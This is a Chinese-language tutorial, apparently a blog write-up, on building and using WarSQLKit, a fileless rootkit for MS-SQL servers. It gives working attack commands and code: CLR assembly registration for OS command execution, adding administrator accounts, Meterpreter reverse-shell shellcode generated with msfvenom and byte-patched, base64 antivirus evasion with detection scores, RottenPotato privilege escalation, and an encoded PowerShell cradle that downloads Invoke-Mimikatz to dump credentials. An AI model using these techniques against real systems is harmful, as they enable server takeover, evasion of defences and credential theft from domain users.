0x00 前言
在本文中,我們將處理一個很長時間以來一直待解決的問題:MSSQL Rootkit。到目前為止,針對MS-SQL所描述的大多數命令執行都是調用“ xp_cmdshell ”和“ sp_OACreate ”存儲過程的。因此,如果在沒有xp_cmdshell和sp_OACreate存儲過程的MSSQL服務器上擁有“ sa ”帳戶或任何具有“ sysadmin ”權限的用戶帳戶,我們是否將停止滲透該系統?
當然,我們不應該放棄。在本文中將介紹如何獲取具"xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”的sysadmin權限的帳戶.
WarSQLKit Github: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
此工具用於捕獲具有“系統管理員權限”和“ xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”等權限的帳戶。
WarSQLKit命令示例:
EXEC sp_cmdExec 'whoami'; => Any Windows command EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir) EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir) EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir) EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_Mimikatz'; select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :) EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'; => Download File EXEC sp_cmdExec 'sp_getSqlHash'; => Get MSSQL Hash EXEC sp_cmdExec 'sp_getProduct'; => Get Windows Product EXEC sp_cmdExec 'sp_getDatabases'; => Get Available Database
WarSQLKit.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/WarSQLKit.dll
WarSQLKit_Compressed.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/Confused/WarSQLKit.dll
WarSQLKitMinimal.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKitMinimal/bin/Debug/WarSQLKitMinimal.dll
Meterpreter CSharp (C#) Shellcode: https://github.com/EPICROUTERSS/Build-Meterpreter-CSharp-Shellcode
Meterpreter CSharp(C#)Base64編碼的Shellcode:https://github.com/EPICROUTERSS/Build-Encoded-Meterpreter-C-Shellcode
OSCMDEXEC_CLR: https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_clr.sql
0x01 什么是CLR
CLR(公共語言運行庫)提供了.NET Framework的命令執行環境,該環境在MSSQL Server 2005中可運行,同時也可以在MSSQL Server 2016中運行。換言之,它使我們能夠通過MSSQL處理和運行.NET Framework對象。可以使用MSSQL CLR導入任何.NET DLL或使用T-SQL執行命令。
0x02 什么是基於CLR的DLL
基於CLR的DLL文件;MsSQL 的 C#、VB.NET等。使用其中一種 .NET 語言,存儲過程允許 T-SQL 語句在 .NET 框架中運行,如觸發器等。有了它可創建一個基於DLL的CLR,可以通過將存儲過程或類似的 T-SQL 語句從 MSSQL 發送 DLL 文件來使這些語句正常執行。我想,如果可以通過MSSQL運行任何.NET對象,那么我就可以在操作系統上運行任何我想要運行的代碼。事實上,進一步來說,可利用.NET的全部功能來構建自己的rootkit。那么,我們如何做到這一點呢?
0x03 創建基於CLR的DLL
首先,我們將從Visual Studio創建一個項目。我們轉到“新建項目”>“ SQL Server”>“ SQL Server數據庫項目”。

創建我們的項目后,右鍵單擊並選擇添加>新建項目> SQL CLR C#> SQL CLR C#存儲過程。

這些步驟之后,基於CLR的DLL現在已准備就緒。現在我們可以開始編譯了。
0x04 DLL命令處理程序
我們需要編寫一種方法來處理從存儲過程到 DLL 的命令。創建此參數的原因是我們必須運行通過 MSSQL 傳輸的操作系統命令。

我定義了一個靜態方法,稱為"cmdExec",帶有"cmd"參數。此靜態方法中的命令將傳輸到"RunCommand"靜態方法。這允許我們運行作為輸入發送的命令,通過進程及其參數並返回結果。

使用發送到RunCommand方法的命令,我們從Process()類創建一個進程,並通過cmd.exe運行該進程,然后通過MSSQL將輸出返回給我們。
0x05 程序集 - 存儲過程 - 可信關系
使用SQL CLR C#存儲過程,我們創建了.NET DLL的基本版。但是,僅dll無法正常運行。我們需要通過T-SQL在MSSQL中注冊DLL來創建存儲過程。並同時允許通過MSSQL來創建和執行基於CLR的DLL。默認情況下,MSSQL Server 2016不運行基於CLR的DLL文件,它已被禁用。我們使用以下代碼來更改此設置。
sp_configure 'clr enabled', 1 GO RECONFIGURE GO
通過上面的代碼,我們啟用了“ clr enabled ”參數。完成此過程后,可以將我們的 DLL 文件作為程序集添加到 MSSQL。
為了確認可信任關系; 確保將MSSQL數據庫中的數據庫標記為安全。標記為安全的數據庫可以訪問對象,網絡和進程資源。通過Trustworthy,我們可以使用以下代碼將數據庫標記為安全。
ALTER DATABASE master SET TRUSTWORTHY ON;
完成此過程后,我們需要將DLL文件作為程序集引入到MSSQL中。這是最重要的一部分。有3種不同的方法來在MSSQL中定義程序集(.NET DLL)。因此,我們可以使用3種不同的方法將我們創建的DLL文件加載到數據庫中。
a.DLL 文件作為字節流加載到 MSSQL
我們可以將創建的DLL文件作為字節流加載到MSSQL中。為此,我們需要使用File.ReadAllBytes()類調用在另一個項目中創建的DLL文件

我讀取了在單獨的項目字節流類型中創建的DLL文件,並將其輸出到byteStream.txt中。現在,我們有了DLL文件的字節流。使用此字節流,我們可以將DLL注冊到程序集中,而無需在MSSQL中加載任何DLL。為此,我們將需要執行一些SQL語句。
注意:使用此方法,我們僅將 DLL 文件保存為數據流,而無需在 MSSQL 中創建任何 DLL 文件。這樣,我們的 Rootkit 將完全無文件執行。
CREATE ASSEMBLY sp_cmdExec FROM 0x4D5A90000300000004000000FFFF0000B800000000000 WITH PERMISSION_SET = UNSAFE GO
使用CREATE ASSEMBLY創建一個名為“ sp_cmdExec”的程序集。然后,使用FROM命令選擇要輸出到文件的字節流。這里要注意的最重要的一點是:在我們輸出到文本文件的字節流的開頭沒有“ 0xbasında”。當將視頻流粘貼到我們的文本文件中時,它將無法正常運行。因此,在寫入0x之后,我們將字節流粘貼到文本文件中。使用PERMISSION_SET = UNSAFE參數,我們指定DLL可以訪問不安全的資源(也就是說,我們將僅運行sql和t-sql語句)。如果我們將SAFE參數設置為參數並嘗試執行CMD命令,則將拋出錯誤“ System.Security.HostProtectionException cak”,而我們的cmd命令將無法正常執行。

如上圖所示,SAFE僅處理數據庫。EXTERNAL_ACCESS允許我們訪問文件,注冊表和網絡。UNSAFE允許我們訪問本機DLL,COM DLLS對象和其他不安全資源。
b.使用SQL Server Management Studio將DLL文件轉換為MSSQL

在數據庫中,訪問系統數據庫和主數據庫。然后從“可編程性”菜單中右鍵單擊“Assembly”,然后選擇“New Assembly”。

你可以通過從瀏覽菜單中選擇我們創建的DLL文件來注冊我們的DLL。完成此過程后,可以看到我們的DLL已添加到“程序集”菜單中。

從上面的截圖中可以看出,名為WarSQLKit 的DLL文件已保存到程序集中。
c.服務器中的目錄調用DLL
CREATE ASSEMBLY sp_cmdExec FROM 'C:\ProgramData\WarSQLKit.dll' WITH PERMISSION_SET = UNSAFE GO
如果我們通過任何其他方式將DLL加載到MSSQL服務器上,我們也可以從目錄中調用DLL。一旦加載了DLL文件,我們就可以將其從服務器中刪除。即使我們從服務器中刪除DLL,我們的程序集也將繼續運行。
在程序集中注冊DLL后,使用3種方法中的任何一種,我們可以調用在DLL中創建的CmdExec靜態方法,或發送一個過程調用。為此,我們最終需要一個存儲過程。使用以下命令,我們可以創建我們的存儲過程。
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec GO
現在我們都准備好了,讓我們開始運行命令。更詳細的是CREATE PROCEDURE命令“ sp_cmdExec”創建了一個名為sp_cmdExec的存儲過程。現在,我們將使用“ sp_cmdExec”而不是“ xp_cmdshell”. 我們還使用@Command [nvarchar](4000)定義了命令參數。由於Nvarchar最多支持4000個字符,因此我們可以運行或顯示4000個字符的命令。我們將調用WarSQLKit,使用EXTERNAL NAME參數創建的DLL的命名名稱,名為StoredProcedures的公共部分類以及名為CmdExec的公共靜態void方法。
0x06 運行Windows命令

EXEC sp_cmdExec'net user'; #列出Windows本地用戶列表。我們不再需要像xp_cmdshell和sp_OACrate這樣的存儲過程。我們可以將所有已知的Windows命令發送到操作系統。
0x07 C#-兼容MSSQL的Meterpreter ShellCode
到目前為止,我們所做的與基本的xp_cmdshell執行沒什么不同。現在我們可以切換到rootkit部分。在上文中我已提到過我們可以在MSSQL中使用.NET Framework的功能。因此,我們需要稍微修改一下DLL文件,然后將Meterpreter Shellcode嵌入到其中。因此,我們可以使用在sp_cmdExec存儲過程中定義的參數來獲得Meterpreter會話。
通過從Kali操作系統訪問終端屏幕的msfvenom命令來創建與csharp兼容的shellcode。為此,我們可以使用以下命令。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=4444 EXITFUNC=none -f csharp --platform windows

我們創建的與csharp兼容的shellcode將是323個字節的代碼。要編譯和運行Meterpreter代碼,我們需要向DLL中添加一個新類。我創建了一個名為MeterpreterBuilder的類。我們為此類定義了一個名為SaveReverseMeterpreter()的公共void方法。在此方法中,我們定義了運行shellcode的條件要求。

然后,我們在MeterpreterBuilder類中全局定義以下參數。

本文中已經准備好我們運行的Shellcode。當我們想直接通過sp_cmdExec運行它時,我們有兩個問題需要解決。1. MSSQL(sqlservr.exe)不允許我們運行此Shellcode。2.每次我們從msfvenom生成csharp shellcode並更新我們的DLL時,都會給我們帶來很大的麻煩。因此,我們需要首先解決這些問題。
若要運行Shellcode,我們需要使用.NET Framework的內置編譯器(無需Visual Studio)以exe形式構建代碼,並將其作為單獨的進程運行。由於我們不能每次都處理msfvenom和shellcode,因此需要通過定義字符串ip和字符串端口參數並使用存儲過程中的IP-port參數更新shellcode來編譯SaveReverseMeterpreter()方法。對於步驟1,您可以閱讀標題為"使用.NET Framework( 不戴Visual Studio)C語言的部分。在步驟2中,我們將方法更新為publicstaticvoid SaveReverseMeterpreter(字符串ip,字符串端口)。。現在,SaveReverseMeterpreter方法將在調用時提示我們輸入IP和端口。我們將根據輸入的IP和端口信息更新shellcode。我們可以為此使用以下代碼。
var ipOctetSplit = ip.Split('.'); byte octByte1 = Convert.ToByte(ipOctetSplit[0]); byte octByte2 = Convert.ToByte(ipOctetSplit[1]); byte octByte3 = Convert.ToByte(ipOctetSplit[2]); byte octByte4 = Convert.ToByte(ipOctetSplit[3]); int inputPort = Int32.Parse(port);
我們根據“ ...”分割作為參數發送的IP 。然后將IP分配給4個八位位組。通過為每個八位位組定義一個字節類型變量,我們將以Convert.ToByte作為字符串的IP八位位組轉換為字節型。
我們為端口執行的過程有些不同。我們將端口解析為Int32。原因是該端口僅包含數字。沒有標點符號。此外,端口可以對應於大於256的數字。因此,如果將端口定義為4444,則Meterpreter在shellcode中將具有2個字節的值,因為它大於256。由於我們不知道要設置哪個端口號,因此我們將通過查看端口號的大小來決定應設置哪個數字。
byte port1Byte = 0x00; #我定義了2個字節的0x00。 byte port2Byte = 0x00; if (inputPort > 256) { int portOct1 = inputPort / 256; int portOct2 = portOct1 * 256; int portOct3 = inputPort - portOct2; int portoct1Calc = portOct1 * 256 + portOct3; if (inputPort == portoct1Calc) { port1Byte = Convert.ToByte(portOct1); port2Byte = Convert.ToByte(portOct3); } } else { port1Byte = 0x00; port2Byte = Convert.ToByte(inputPort); }
我定義了一個if條件來檢查我們設置為Int32的端口值。因此,如果輸入的端口號大於256,我們的條件將起作用,並且我們將進行計算。如果端口大於256,則將第一個輸入的端口除以256,然后將結果的數字分配給一個int變量。然后,我們定義一個類型為int的第二個變量來計算乘數和,然后將256乘以從之前一個值獲得的int變量值。
在計算乘數之后,我們從設置的端口中減去第二個變量的值,並將其分配給第三個int變量。然后,我們定義另一個if條件,並將輸入的端口值與計算得出的端口值進行比較。如果滿足條件,則將結果值分配給我們先前定義的字節類型的端口變量。
這部分可能看起來有些復雜。為了清楚起見,我將進行采樣。例如,我們希望meterpreter從端口4444返回給我們。在我們的shellcode中,為該端口保留了2個字節的字段,我們需要設置此字段。我們發現數字4444/256 = 17 17 * 256 = 4352。我們發現4444-4352 = 92。因此,我們需要在shellcode中為4444端口定義數字17和92。17字節(十六進制)類型對應於0x11,而92字節類型對應於0x5c。例如,端口57156將為:57156/256 = 223,223 * 256 = 57088、57156-57088 = 68,並且等效項將為0xdf和0x044。在我們的Shellcode中,我們需要將它們分配給與端口值相對應的字節變量。
例如,我們的IP地址192.168.139.129將對應於我們的shellcode中的0xc0、0xa8、0x8b,0x81。現在我們需要在shellcode中更改這些變量。使用我指定的參數,我們將從msfvenom生成的shellcode將始終以相同的變量順序生成。字節數組中的IP和端口信息如下。

我們可以看到在字節數組編號174、175、176和177中設置的IP地址被保留。我在上面提到了端口計算。我們可以看到端口4444對應於17和92。我們的端口位於181和182字節。更改字節數組中作為參數發送的IP和端口的字段就足夠了。
buf[174] = octByte1; buf[175] = octByte2; buf[176] = octByte3; buf[177] = octByte4; buf[181] = port1Byte; buf[182] = port2Byte;
如上所述,我們在Shellcode中設置IP和端口值。到目前為止,一切正常。現在,我們需要返回StoredProcedure.cs並進行定義,該定義將調用我們的Meterpreter shellcode。因此,當我們從MSSQL運行類似“ EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444“的命令時,請調用我們的SaveReverseMeterpreter(字符串ip,字符串端口)方法。

通過在CmdExec中定義if條件,如果發送的命令包含“ sp_meterpreter_reverse_tcp”,則應將命令拆分為空格。然后,我們通過調用MeterpreterBuilder類來設置Ip和Port值,從而調用SaveReverseMeterpreter()方法。現在我們的代碼已經准備好了。我們將在不使用Visual Studio的情況下使用.NET Framework,在MSSQL服務器上編譯這些代碼,並構建Meterpreter exe。這將繞過運行shellcode的“ sqlservr.execalstlrma”
0x08 使用.NET Framework從MSSQL編譯C#代碼(不使用Visual Studio)
在本節中,我將把Meterpreter的shellcode轉換為csharp(.cs)文件,將闡述在SQL Server上運行的代碼。需要重新排列在第7部分中創建的shellcode作為控制台應用程序。
我將以控制台應用程序的形式將shellcode填充到var(string)類型的變量中。並需要將此字符串數據寫入到我們在SQL Server中具有寫權限的目錄中。我們可以在此過程中使用以下代碼。
File.WriteAllText(@"C:\\ProgramData\\meterpreter_reverse_tcp.cs", strMtr);
當我們從SQL Server調用方法時,它將名為meterpreter_reverse_tcp.cs的shellcode保存到C:\ProgramData目錄中。保存到SQL Server的文件如下圖所示。

我們需要編譯在沒有Visual Studio的情況下注冊到SQL Server的csharp(.cs)文件。為此,只需要在服務器上安裝.net框架即可。由於我們已經在研究MSSQL,因此MSSQL具有.Net Framework依賴性。換句話說,服務器上有.Net Framework。在服務器上有.Net Framework,但是有那些版本?我們並不知道。要測試版本,我們正在編寫另一種方法,如下圖所示。

通過創建類型<string>的通用列表,我們將“C:\Windows\Microsoft.NET\Framework”文件夾中的子目錄名稱填充到通用列表中。服務器上安裝的所有.Net Frameworks都位於此目錄中。有了這些信息之后,我們現在就可以構建csharp(.cs)文件。
“ Net csc.exe”文件位於.Net Framework的安裝目錄中。csc.exe是.net框架附帶的csharp編譯器。使用此exe,我們可以編譯任何.cs文件,而無需使用Visual Studio。我在rootkit中使用的示例編譯過程如下。
CMD.EXE / C參數運行所在的目錄中安裝最新的.NET Framework版本的CSC.EXE ,“/unsafe /platform:x86”使用x86架構來編譯,編譯的可執行文件輸出到“C:\ProgramData\“目錄下。命名使用隨機名稱,然后編譯使用隨機名稱保存在 C:\ProgramData\kaynak 的meterpreter_reverse_tcp.cs文件。
首先“File.Delete(@"C:\ProgramData\" + randomFileName + @"_reverse.cs");” 要求從服務器中刪除使用File.Delete創建的.cs文件。然后是(@"C:\Windows\System32\cmd.exe", @" /c C:\ProgramData\" + randomFileName + @"_reverse.exe");”最后,我想運行使用BuildRunMeterprete代碼和cmd.exe / c參數創建的Meterpreter exe。
注意:我們需要使用msfconsole的exploit/multi/handler設置windows/meterpreter/reverse_tcp的有效負載,並等待建立連接。 WarSQLKit中通過此方法定義了4個Meterpreter代理。在WarSQLKit中可以使用以下Meterpreter有效負載。
windows/meterpreter/reverse_tcp windows/meterpreter/bind_tcp windows/x64/meterpreter_reverse_tcp windows/meterpreter/reverse_tcp_rc4
提示:我們創建的Meterpreter shellcode將被許多防病毒軟件攔截並阻止運行。因此,在下一節“ Meterpreter Shellcode Anti技術”中,我們需要繼續介紹如何從防病毒中隱藏我們的Shellcode。
0x09 Meterpreter Shellcode Anti(bypass)技術
不幸的是,我們經典shellcode會被防病毒軟件捕獲。因此,當我們在考慮如何從防病毒程序中隱藏shellcode時,我們想到了Tolga Sezer用base64編碼shellcode並通過將base64轉換為shellcode來運行它的方法。
怎么會呢?當我們使用base64對shellcode進行編碼時,如何自動更改IP和端口值?盡管這些似乎有些問題,但我們將看到可以用一些簡單的方法來解決這一點。首先,我們必須獲取shellcode的原始csharp類型和base64編碼應用程序,然后更改IP和端口值以再次獲取raw,然后應用base64編碼並檢查更改的部分。因為和前面的示例一樣,當我們更改IP和端口重合的字節數組時,base64崩潰了。當然,存在將base64分配到6位四字節數組的問題。因此,我對shellcode的base64輸出進行了詳盡的回顧。首先,我們應該看一下已編碼的shellcode的基本代碼。

通過更改IP和端口信息,當我將base64編碼重新應用於shellcode時,我看到“ wKiLhmgCANkD ”字符已更改。解碼此部分時,我看到“ c0 a8 8b 86 68 02 00 d9 03”。知道此解碼值分別對應於“ 192.168.139.134 104 2 0 217 3sır”。換句話說,當我們更改IP和端口時,需要正確設置9個字節以使base64正常運行。前4個字節對應於IP,后2個字節對應於端口。
我們已經為名為shellCodeRaw的字符串變量定義了一個固定的base64值。在不破壞base64的情況下,我們不應更改字符串中輸入的IP和端口值。為此,我們需要一個9字節的數組。

我為輸入的IP和端口值創建了一個9字節的新數組。前4個字節代表我們設置的IP地址,后2個字節代表端口。當我們使用base64對這9個字節的數組進行編碼時,它不會破壞shellcode的base64狀態。

我定義了一個名為string和s3的變量。將9字節數組轉換為base64字符串。現在,我們有一個與IP和端口變量相對應的base64值。然后定義一個名為newShellCode的字符串變量。通過Replace,我將KwKiLhmgCANkD ile的值更改為我們創建的9字節數組的base64版本。
shellcode的base64已經准備好了。現在它將自動更正輸入的IP和端口值,並將它們轉換為base64以創建新的base64值。默認情況下,我們無法運行此base64。因此,我們將通過在運行時將base64值轉換為字節數組來運行Shellcode。

在此過程中,我們可以在之前定義的“ funcAddr”和“ Marshal.Copy”字段中更改變量名稱。

讓我們編譯CSharp(.cs)代碼,創建一個exe,並檢查shellcode的捕獲狀態。我為兩個應用程序創建了不同的控制台應用程序。通過測試安裝來創建這些控制台應用程序在線防病毒站點。盡管我知道virustotal正在與反病毒供應商共享已發送的應用程序,但我還是安裝了它以進行演示和基准測試。
經典字節數組類型Shellcode測試結果
Jotti(5/18):https://virusscan.jotti.org/en-US/filescanjob/kefjrqh37l
NoDistribute(6/32):https://nodistribute.com/result/fNvFlayZxHchAizjO3o4n
VirusTotal (11/60)::https://www.virustotal.com/#/file/6cf4dec3dc1dc91a21e17a1e3ca106d7a4ebd4fd23b96de71c9490bf8d24897d/detection
Base64編碼ShellCode的測試結果
Jotti (1/18): https://virusscan.jotti.org/en-US/filescanjob/uesbd8p86z
NoDistribute (1/32): https://nodistribute.com/result/W1sUCXO4znfEiITJjhbx6
VirusTotal (3/64): https://www.virustotal.com/#/file/4f9c60b05235dde6e165fa71fa15c6aedbefeb7ef91138c569fe118eb15a2b33/detection
目前,我們僅適用Eset技術,但是,可以使用不同的方法。但基本上,這是我在Rootkit中使用的方法。
0x10 通過RottenPotato(Kumpir.exe)提升權限
在本節中,我假設一切准備就緒。默認情況下,我們已攻擊的SQL Server正在以“ NT Service \ MSSQLSERVER”權限運行。換句話說,NT服務管理正在運行一個虛擬帳戶類型,該虛擬帳戶類型與服務帳戶的名稱相同。這是Windows操作系統中鮮為人知的權限類型。我們需要從這種類型的權限提升到“ AUT NT AUTHORITY \ SYSTEM”的權限。我已經寫了有關提升MS-SQL 2016中的權限文章:http://eyupcelik.com.tr/guvenlik/491-windows-server-ve-mssql-server-2016-privilege-escalatio
通過使用RottenPotato,我們可以執行特權權限升級。但是,Rottenpotato可獲得一個Meterpreter會話,並使用隱藏功能來增加此Meterpreter會話的權限。我不喜歡這樣,因為我希望在創建的存儲過程中輸入操作系統命令(而不是Meterpreter會話)能夠獲得“ SYSTEM”權限。為此使用的Rottenpotato應用程序必須進行一些修改。經過此修改,Rottenpotato被重命名為“ Kumpir
我必須將Kumpir作為字節流嵌入到我們的Rootkit(WarSQLKit)中。當使用“ / RunSytemPriv”參數將任何命令傳遞到sp_cmdExec存儲過程時,它將以exe的形式拋出kumpir.exe的字節流,傳入的腳本將通過kumpir.exe傳遞給系統,並返回命令輸出。現在,讓我們看看如何傳輸kumpir字節流

我為Kumpir.exe創建了一個類。在KumpirBytes()方法中定義了一個名為hex的字符串。在此字符串中,定義了kumpir.exe的字節流。然后,我需要將此字節流導出為exe。

我用File.WriteAllBytes導出了Kumpir.exe。但是我有這樣的問題,kumpir.exe(Rottenpotato)有3個依賴文件。這些文件是“ Microsoft.VisualStudio.OLE.Interop.dll”,“ NHttp.dll”和“ SharpCifs.dll”。單獨讀取和輸出每個文件作為字節流,然后導出和刪除每條命令,將是一項非常長的工作。使用ILMerge,我們將這些依賴項與kumpir.exe合並。但是結果仍然令人差強人意,因為Kumpir.exe的大小已達到727 KB。 727 KB的字節流也將非常大。此外,WarSQLKit.dll(Rootkit)導出的文件大小也非常大。
我們用mpress壓縮Kumpir.exe。727 KB kumpir.exe文件已降至283 KB。我們將283 KB的kumpir.exe填充到十六進制可變字節流中。然后,使用“ File.WriteAllBytes uz”,將Kumpir.exe輸出到C:\ProgramData目錄中。在正常情況下,727 KB是完全夠的。它沒有被任何防病毒軟件捕獲。但是,我們壓縮的Kumpir.exe文件只有283 KB,只有被Avira可以捕獲。 Avira似乎有害,因為Mpress中使用了壓縮技術。
參考鏈接:https://nodistribute.com/result/1jYc9lBu0pqFPg53nm4
0x11 通過Mimikatz獲取會話信息
我們將在滲透測試中執行所有這些步驟。但是,由於我們的主要目標是接管域控制器,因此我們需要捕獲“ Mimikatz Clear,帶有明文密碼或最壞的是NTLM密鑰。為此,我創建了一個名為RunMimikatz()的方法。我們的應用程序將從Powersploit的GitHub中提取Mimikatz的Powershell模塊,並將結果返回給我們。我們可以使用以下代碼進行處理。
“Powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m”
到目前為止,一切都還好。但是有一個問題,這個powershell代碼可被捕獲。因此,我們需要將其轉換為base64。
“powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==”
我們的Powershell代碼的base64版本將如上所述。不幸的是,在這部分之后,我們面臨着不同的問題。我們通過MSSQL運行的Powershell代碼沒有輸出給我們。我們無法獲得輸出的原因是因為nvarchar不能向我們返回超過4000個字符。Mimikatz的輸出將遠遠大於4000個字符。當我在基於Windows Server 2016的用戶登錄的MS-SQL Server 2016上運行命令時,mimikatz輸出大約22000多個字符的輸出。因此,WarSQLKit.dll返回錯誤消息,因為我無法獲得大於4000個字符的輸出。為了解決該問題,我決定將Mimikatz輸出注冊到名為imi mimi.log的臨時目錄中。對於Powershell編碼器 您可以使用https://www.powershellencoder.com。
“RunMimikatz("cmd.exe", "/c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== > C:\\\\ProgramData\\\\mimi.log 2>&1");“
通過在RunMimikatz方法末尾輸入值為“> C:\\\\ProgramData\\\\mimi.log 2>&1”,將輸出保存到C:\ProgramData目錄中,文件名為mimi.log。關鍵是,我為每個目錄使用了4個反斜杠。對於C#字符串的值,2反斜杠表示1反斜杠。當代碼傳遞給powershell時,它將剩余的2個反斜杠值評估為1個反斜杠。因此,當傳輸到powershell時,4個反斜杠值表示1個反斜杠。我花了大約2-3個小時才找到並解決了這個問題。
使用上面的代碼序列,我們通過調用powershell運行Powersploit的Mimikatz模塊,並將其注冊到C:\ProgramData目錄中的mimi.log。我們可以使用命令“ type C:\ProgramData\mimi.log”讀取此日志文件。不幸的是,我們不能使用Type命令讀取它,因為如上所述,我們的mimi.log文件大於4000個字符。當我想到如何讀取它時,我發現可以通過這種方式來解決此問題。我們可以通過DLL將保存的mimi.log文件輸出到臨時表中。因此,使用select命令,我們可以檢索表中的數據,即mimikatz日志。要將結果數據輸出到臨時表中,我們需要創建一個sqlCommand。

我創建了一個名為GetMimiLog()的方法。我在此方法中添加了2條SQL命令。對於我們的第一條Sql命令,“IF OBJECT_ID('WarSQLKitTemp')IS NOT NULL DROP TABLE WarSQLKitTemp" + Environment.NewLine + "CREATE TABLE dbo.WarSQLKitTemp(mimiLog text);” 輸入SQL語句。用這句話,如果有一個名為S WarSQLKitTemp ve的表並且它不為空,並希望將其刪除。然后,我們創建一個名為WarSQLKitTemp的表和一個名為mimiLog的文本表。
然后,我創建一個名為mimiLogStr的字符串變量,並通過讀取mimi.log文件中的數據將其分配給它。使用參數“insert into WarSQLKitTemp(mimiLog) values(@mimiLog)”,我們還將數據從mimi.log文件輸出到WarSQLKitTemp表中。
這是另一個引起注意的地方。 “SqlConnection connection = newSqlConnection("context connection=true")”。對於SqlConnection,我們僅將 “context connection=true”輸入為ConnectionString 。我們也沒有定義SqlConnection。因為我們的DLL已經在SQL Server上運行,所以我們不需要再次設置諸如數據源,用戶ID和密碼之類的值。
我們已將mimikatz輸出的mimimi.log文件輸入到表中。執行完這些命令后,我們可以通過在SQL Server上運行“select * from WarSQLKitTemp”命令來獲取mimikatz輸出信息。
0x12 文件下載器
對於經典的Rootkit,文件下載器是必需的。為了在WarSQLKit中放置一個File Downloader,因此,我創建了一個名為FileDownloader的類。

我為創建的類定義了一種名為StartDownload(int超時)的方法。並為該方法附帶的下載請求創建了WebClient。對於向rootkit的下載請求,我設置了定義“ URL,要保存的目錄,超時”。因此,我們將能夠將給定地址的文件下載到.Net Framework的WebClient對象指定的目錄中。
0x13 WarSQLKit(MSSQL Fileless Rootkit)用戶指南
要在SQL Server中定義WarSQLKit.dll,應閱讀第5節中標題為“程序集-存儲過程-信任關系”的文章。我將根據第5節中的小節繼續闡述,從目錄alt調用DLL。通過Management Studio連接到SQL Server並運行以下代碼。
